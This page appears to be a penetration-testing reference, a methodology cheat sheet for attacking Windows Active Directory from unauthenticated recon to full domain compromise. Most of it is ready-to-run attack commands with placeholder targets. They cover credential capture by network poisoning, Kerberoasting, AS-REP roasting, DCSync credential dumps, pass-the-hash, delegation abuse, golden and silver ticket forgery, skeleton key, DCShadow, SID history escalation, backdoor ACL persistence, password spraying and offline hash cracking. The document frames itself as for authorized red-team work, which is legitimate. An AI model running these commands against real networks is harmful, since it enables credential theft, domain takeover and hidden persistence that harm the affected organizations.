Overview
Active Directory (AD) is the identity and access management backbone of most enterprise Windows environments. Compromising AD often means compromising the entire organization. This page follows the AD attack methodology from initial unauthenticated recon through full domain/forest compromise.
This content is for authorized penetration testing and red team operations only. AD attacks are highly impactful and should only be performed with explicit written authorization.
AD Structure Fundamentals
Active Directory organizes network resources into:
Concept Description Object Users, groups, computers, shared folders Domain Container of objects sharing a common database Tree Group of domains sharing a common root Forest Collection of trees with trust relationships OU Organizational Unit — sub-container within a domain GPO Group Policy Object — policy applied to OUs
AD Domain Services (AD DS) components:
Domain Services — centralized auth and directory
Certificate Services — PKI management
Federation Services — SSO across applications
Rights Management — DRM for content
DNS Service — name resolution for the domain
Phase 1: Unauthenticated Recon
Network Enumeration
# Discover domain controllers and machines
netexec smb < cid r >
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt
# Generate /etc/hosts entries
netexec smb 10.2.10.0/24 --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts
SMB Null and Guest Enumeration
enum4linux -a -u "" -p "" < DC I P >
enum4linux -a -u "guest" -p "" < DC I P >
smbmap -u "" -p "" -P 445 -H < DC I P >
smbclient -U '%' -L // < DC I P >
LDAP Anonymous Enumeration
nmap -n -sV --script "ldap* and not brute" -p 389 < DC I P >
User Enumeration
# Kerbrute — valid usernames via KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt
# Nmap Kerberos enumeration
nmap -p 88 --script=krb5-enum-users --script-args= "krb5-enum-users.realm='DOMAIN'" < I P >
# CrackMapExec
crackmapexec smb domain.local -u '' -p '' --users | awk '{print $4}' | uniq
Network Poisoning (LLMNR/NBT-NS)
Gather NTLMv2 hashes by impersonating services with Responder: sudo responder -I eth0 -wrf
Phase 2: Authenticated Enumeration
Once you have valid credentials or a session:
# BloodHound collection (comprehensive graph-based enumeration)
bloodhound-python -u < use r > -p < pas s > -d domain.local -c all --zip
# PowerView enumeration
Get-DomainUser
Get-DomainComputer
Get-DomainGroup
Get-DomainGPO
# Extract all domain usernames
net user /domain
Get-DomainUser | select -ExpandProperty samaccountname
# Enumerate domain admins
Get-DomainGroupMember "Domain Admins"
Kerberoasting
Request TGS tickets for service accounts and crack the RC4 encryption offline:
# Python (Impacket)
GetUserSPNs.py -dc-ip < dc_i p > -request < domai n > / < use r > -outputfile roastable_TGS
# Rubeus
. \ Rubeus.exe kerberoast /outfile:hashes.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt wordlist.txt
ASREPRoasting
Request AS-REP for accounts with DONT_REQ_PREAUTH set:
GetNPUsers.py < domai n > / -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt wordlist.txt
Hash Shucking (NT-Candidate Attacks)
Use an NT hash corpus to crack slower formats without knowing the plaintext:
# Build NT hash corpus via DCSync
secretsdump.py < domai n > / < use r > @ < dc_i p > -just-dc-ntlm -history -outputfile dump
grep -i ':::' dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
# Shuck Kerberoast RC4 tickets
hashcat -m 35300 roastable_TGS nt_candidates.txt
# Shuck DCC2 cached credentials
hashcat -m 31600 dcc2_hashes.txt nt_candidates.txt
# Shuck NetNTLMv2
hashcat -m 27100 netntlm_hashes.txt nt_candidates.txt
Hash Type NT-Candidate Mode DCC (Domain Cached Credentials) 31500 DCC2 31600 NetNTLMv1 27000 NetNTLMv2 27100 Kerberos RC4 TGS 35300 Kerberos RC4 AS-REP 35400
Pass-the-Hash / Pass-the-Ticket
# Pass-the-Hash
crackmapexec smb --local-auth 10.10.10.0/23 -u administrator -H < has h > | grep +
# Over-Pass-The-Hash (request Kerberos TGT from NT hash)
. \ Rubeus.exe asktgt /user: < use r > /rc4: < has h > /ptt
# Pass-the-Ticket
[IO.File]::WriteAllBytes( "ticket.kirbi" , [Convert]::FromBase64String( "<BASE64_TICKET>" ))
. \ Rubeus.exe ptt /ticket:ticket.kirbi
Delegation Attacks
Any computer with ADS_UF_TRUSTED_FOR_DELEGATION attribute stores TGTs of all authenticating users in memory: # Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained
# Dump TGTs from memory if you have admin on the target
. \ Rubeus.exe monitor /interval:5 /nowrap
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Request service ticket for any user
getST.py -spn < target_sp n > -impersonate Administrator < domai n > / < constrained_use r > : < pas s >
Resource-Based Constrained Delegation (RBCD)
Requires WRITE privilege on target computer object: # Add our computer as allowed to delegate
Set-DomainObject -Identity < target_compute r > -Set @{'msds-allowedtoactonbehalfofotheridentity'=...}
# Request service ticket impersonating Domain Admin
getST.py -spn cifs/ < targe t > -impersonate Administrator < domai n > / < attacker_compute r > $ : < pas s >
Post-Exploitation with DA Privileges
DCSync — Domain Credential Dump
# Impacket secretsdump
secretsdump.py < domai n > /DA_user@ < DC_I P >
# Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::dcsync /all /csv
Golden Ticket
Forge TGTs using the krbtgt hash — valid for all domain accounts:
# Get krbtgt hash via DCSync
lsadump::dcsync /user:krbtgt
# Forge golden ticket (mimikatz)
kerberos::golden /user:Administrator /domain:domain.local \
/sid: < domain_SI D > /krbtgt: < krbtgt_has h > /ptt
Silver Ticket
Forge TGS for a specific service using the service account’s hash:
kerberos::golden /user:Administrator /domain:domain.local \
/sid: < domain_SI D > /target: < service_hos t > /service:cifs \
/rc4: < service_account_has h > /ptt
Skeleton Key
Patch LSASS to allow any user to authenticate with a universal password:
misc::skeleton
# Now anyone can log in with password "mimikatz"
DCShadow
Register a rogue Domain Controller to push attribute changes without AD audit logs:
# Requires DA rights in root domain
lsadump::dcshadow /push
Domain Trust Escalation
Enumerate Trust Relationships
Get-DomainTrust
nltest /domain_trusts /all_trusts /v
# Find foreign security principals
Get-DomainForeignUser
Get-DomainForeignGroupMember
SID History Injection (Child → Parent Escalation)
# Requires krbtgt hash of child domain
kerberos::golden /user:Administrator /domain:child.domain.local \
/sid: < child_domain_SI D > /krbtgt: < child_krbtgt_has h > \
/sids: < parent_domain_enterprise_admins_SI D > /ptt
ACL-Based Persistence
After compromise, grant DCSync or other privileges for future access:
# Grant DCSync to a user
Add-DomainObjectAcl - TargetIdentity "DC=DOMAIN,DC=LOCAL" \
- PrincipalIdentity backdoor_user - Rights DCSync
# Make user Kerberoastable
Set-DomainObject - Identity < user > - Set @ { serviceprincipalname = "fake/NOTHING" }
# AdminSDHolder persistence
# Modify AdminSDHolder ACL — propagated every 60 minutes to all protected groups
Password Spraying
Once you have a list of valid usernames, try common passwords — carefully respecting lockout policies:
# Kerbrute password spray (Kerberos — faster, less noisy than LDAP)
kerbrute passwordspray -d domain.local --dc < DC_I P > users.txt 'Password123!'
# NetExec (SMB)
netexec smb < DC_I P > -u users.txt -p 'Summer2024!' --continue-on-success
# NetExec (LDAP)
netexec ldap < DC_I P > -u users.txt -p 'Password1' --continue-on-success
# OWA spray via MailSniper
Invoke-PasswordSprayOWA -ExchHostname < i p > -UserList valid.txt -Password 'Summer2024!'
Check the domain password policy before spraying to avoid account lockouts: Get-DomainPolicy or net accounts /domain
Hash Cracking Reference
After capturing hashes, crack them offline with hashcat:
Hash Type Hashcat Mode NTLM 1000NetNTLMv1 5500NetNTLMv2 5600Kerberoast (TGS-REP) 13100AS-REP Roast 18200DCC (Domain Cached Credentials) 1100DCC2 (MS-CACHE v2) 2100
# Crack NetNTLMv2
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
# Crack Kerberoast TGS
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt
# Crack AS-REP hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
References